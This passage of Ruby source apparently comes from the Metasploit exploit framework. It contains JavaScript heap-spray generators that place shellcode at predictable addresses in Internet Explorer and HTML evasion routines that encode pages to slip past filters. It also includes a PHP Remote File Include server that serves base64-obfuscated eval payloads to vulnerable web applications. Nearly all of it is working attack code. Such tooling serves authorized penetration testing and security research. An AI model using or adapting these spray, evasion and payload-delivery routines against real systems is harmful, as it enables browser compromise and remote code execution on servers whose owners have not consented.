function mstime_malloc(oArg) {
|
||
shellcode = oArg.shellcode;
|
||
offset = oArg.offset;
|
||
heapBlockSize = oArg.heapBlockSize;
|
||
objId = oArg.objId;
|
||
|
||
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
||
if (offset == undefined) { offset = 0; }
|
||
if (heapBlockSize == undefined) { throw "Size must be defined"; }
|
||
|
||
buf = "";
|
||
for (i=0; i < heapBlockSize/4; i++) {
|
||
if (i == offset) {
|
||
if (i == 0) { buf += shellcode; }
|
||
else { buf += ";" + shellcode; }
|
||
}
|
||
else {
|
||
buf += ";##{Rex::Text.rand_text_hex(6)}";
|
||
}
|
||
}
|
||
|
||
e = document.getElementById(objId);
|
||
if (e == null) {
|
||
eleId = "#{Rex::Text.rand_text_alpha(5)}"
|
||
acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
|
||
document.body.innerHTML = document.body.innerHTML + acTag;
|
||
e = document.getElementById(eleId);
|
||
}
|
||
try { e.values = buf; }
|
||
catch (e) {}
|
||
}
|
||
|
|
||
end
|
||
|
||
#
|
||
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
|
||
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
|
||
# publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode
|
||
# should land at address 0x0c0d2020, as this is the most consistent location across
|
||
# various versions.
|
||
#
|
||
# The "sprayHeap" JavaScript function supports the following arguments:
|
||
# shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
|
||
# objId => Optional. The ID for a <div> HTML tag.
|
||
# offset => Optional. Number of bytes to align the shellcode, default: 0x00
|
||
# heapBlockSize => Optional. Allocation size, default: 0x80000
|
||
# maxAllocs => Optional. Number of allocation calls, default: 0x350
|
||
#
|
||
# Example of using the 'sprayHeap' function:
|
||
# <script>
|
||
# #{spray}
|
||
#
|
||
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
|
||
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
|
||
# </script>
|
||
#
|
||
def js_property_spray
|
||
sym_div_container = Rex::Text.rand_text_alpha(rand(10) + 5)
|
||
js = %Q|
|
||
var #{sym_div_container};
|
||
function sprayHeap( oArg ) {
|
||
|
||
shellcode = oArg.shellcode;
|
||
offset = oArg.offset;
|
||
heapBlockSize = oArg.heapBlockSize;
|
||
maxAllocs = oArg.maxAllocs;
|
||
objId = oArg.objId;
|
||
|
||
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
||
if (offset == undefined) { offset = 0x00; }
|
||
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
|
||
if (maxAllocs == undefined) { maxAllocs = 0x350; }
|
||
|
||
if (offset > 0x800) { throw "Bad alignment"; }
|
||
|
||
#{sym_div_container} = document.getElementById(objId);
|
||
|
||
if (#{sym_div_container} == null) {
|
||
#{sym_div_container} = document.createElement("div");
|
||
}
|
||
|
||
#{sym_div_container}.style.cssText = "display:none";
|
||
var data;
|
||
junk = unescape("%u2020%u2020");
|
||
while (junk.length < offset+0x1000) junk += junk;
|
||
|
||
data = junk.substring(0,offset) + shellcode;
|
||
data += junk.substring(0,0x800-offset-shellcode.length);
|
||
|
||
while (data.length < heapBlockSize) data += data;
|
||
|
||
for (var i = 0; i < maxAllocs; i++)
|
||
{
|
||
var obj = document.createElement("button");
|
||
obj.title = data.substring(0, (heapBlockSize-2)/2);
|
||
#{sym_div_container}.appendChild(obj);
|
||
}
|
||
}
|
||
|
|
||
end
|
||
|
||
def js_heap_spray
|
||
js = %Q|var memory = new Array();
|
||
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
|
||
var index;
|
||
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
|
||
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
|
||
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
|
||
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
|
||
|
||
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
|
||
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
|
||
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
|
||
|
||
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
|
||
for (index = 0; index < heapBlockCnt; index++) {
|
||
memory[index] = retSlide + shellcode;
|
||
}
|
||
}
|
||
|
|
||
opts = {
|
||
'Symbols' => {
|
||
'Variables' => %w{ shellcode retSlide payLoadSize memory index
|
||
heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
|
||
heapBlockCnt },
|
||
'Methods' => %w{ sprayHeap }
|
||
}
|
||
}
|
||
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
||
return js
|
||
end
|
||
|
||
def js_os_detect
|
||
return ::Rex::Exploitation::JavascriptOSDetect.new
|
||
end
|
||
|
||
# Transmits a html response to the supplied client
|
||
#
|
||
# HTML evasions are implemented here.
|
||
def send_response_html(cli, body, headers = {})
|
||
body = body.to_s.unpack("C*").pack("C*")
|
||
if datastore['HTML::base64'] != 'none'
|
||
case datastore['HTML::base64']
|
||
when 'plain'
|
||
body = Rex::Text.encode_base64(body)
|
||
when 'single_pad'
|
||
body = Rex::Text.encode_base64(' ' + body)
|
||
when 'double_pad'
|
||
body = Rex::Text.encode_base64(' ' + body)
|
||
when 'random_space_injection'
|
||
body = Rex::Text.encode_base64(body)
|
||
new = ''
|
||
while (body.size > 0)
|
||
new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
|
||
end
|
||
body = new
|
||
end
|
||
|
||
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
|
||
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
|
||
body + '">Could not render object</OBJECT></BODY></HTML>'
|
||
end
|
||
|
||
if datastore['HTML::javascript::escape'] > 0
|
||
datastore['HTML::javascript::escape'].times {
|
||
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
|
||
}
|
||
end
|
||
|
||
if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
|
||
headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
|
||
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
|
||
else
|
||
# special cases
|
||
case datastore['HTML::unicode']
|
||
when 'utf-16be-marker'
|
||
headers['Content-Type'] = 'text/html'
|
||
body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
|
||
when 'utf-7-all'
|
||
headers['Content-Type'] = 'text/html; charset=utf-7'
|
||
body = Rex::Text.to_unicode(body, 'utf-7', 'all')
|
||
when 'none'
|
||
# do nothing
|
||
else
|
||
raise RuntimeError, 'Invalid unicode. how did you get here?'
|
||
end
|
||
end
|
||
|
||
send_response(cli, body, headers)
|
||
end
|
||
|
||
end
|
||
|
||
|
||
###
|
||
#
|
||
# This module provides methods for exploiting PHP scripts by acting as an HTTP
|
||
# server hosting the payload for Remote File Include vulnerabilities.
|
||
#
|
||
###
|
||
module Exploit::Remote::HttpServer::PHPInclude
|
||
|
||
include Msf::Exploit::Remote::HttpServer
|
||
|
||
def initialize(info = {})
|
||
|
||
# Override TCPServer's stance of passive
|
||
super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))
|
||
|
||
register_evasion_options(
|
||
[
|
||
OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
|
||
], Exploit::Remote::HttpServer::PHPInclude
|
||
)
|
||
end
|
||
|
||
# Since these types of vulns are Stance::Aggressive, override HttpServer's
|
||
# normal non-automatic behaviour and allow things to run us automatically
|
||
def autofilter
|
||
true
|
||
end
|
||
|
||
##
|
||
# :category: Exploit::Remote::TcpServer overrides
|
||
#
|
||
# Override exploit() to handle service start/stop
|
||
#
|
||
# Disables SSL for the service since we always want to serve our evil PHP
|
||
# files from a non-ssl server. There are two reasons for this:
|
||
# 1. https is only supported on PHP versions after 4.3.0 and only if
|
||
# the OpenSSL extension is compiled in, a non-default configuration on
|
||
# most systems
|
||
# 2. somewhat less importantly, the SSL option would conflict with the
|
||
# option for our client connecting to the vulnerable server
|
||
#
|
||
def exploit
|
||
old_ssl = datastore["SSL"]
|
||
datastore["SSL"] = false
|
||
start_service
|
||
datastore["SSL"] = old_ssl
|
||
|
||
#if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
|
||
# print_error("Warning: the URL used for the include might be wrong!")
|
||
# print_error("If the target system can route to #{srvhost_addr} it")
|
||
# print_error("is safe to ignore this warning. If not, try using a")
|
||
# print_error("reverse payload instead of bind.")
|
||
#end
|
||
|
||
begin
|
||
print_status("PHP include server started.");
|
||
php_exploit
|
||
::IO.select(nil, nil, nil, 5)
|
||
rescue ::Interrupt
|
||
raise $!
|
||
ensure
|
||
stop_service
|
||
end
|
||
end
|
||
|
||
#
|
||
# Transmits a PHP payload to the web application
|
||
#
|
||
def send_php_payload(cli, body, headers = {})
|
||
|
||
case datastore['PHP::Encode']
|
||
when 'base64'
|
||
body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
|
||
when 'none'
|
||
body = "<?php #{body} ?>"
|
||
end
|
||
|
||
send_response(cli, body, headers)
|
||
end
|
||
|
||
##
|
||
# :category: Event Handlers
|
||
#
|
||
# Handle an incoming PHP code request
|
||
#
|
||
def on_request_uri(cli, request, headers={})
|
||
# Re-generate the payload
|
||
return if ((p = regenerate_payload(cli)) == nil)
|
||
|
||
# Send it to the application
|
||
send_php_payload(cli, p.encoded, headers)
|
||
end
|
||
|
||
#
|
||
# The PHP include URL (pre-encoded)
|
||
#
|
||
# Does not take SSL into account. For the reasoning behind this, see
|
||
# {#exploit}.
|
||
#
|
||
# @return [String] The URL to be used as the argument in a call to
|
||
# +require+, +require_once+, or +include+ or +include_once+ in a
|
||
# vulnerable PHP app.
|
||
def php_include_url(sock=nil)
|
||
host = srvhost_addr
|
||
if Rex::Socket.is_ipv6?(host)
|
||
host = "[#{host}]"
|
||
end
|
||
"http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?"
|
||
end
|
||
|
||
|
||
end
|
||
end
|
||
|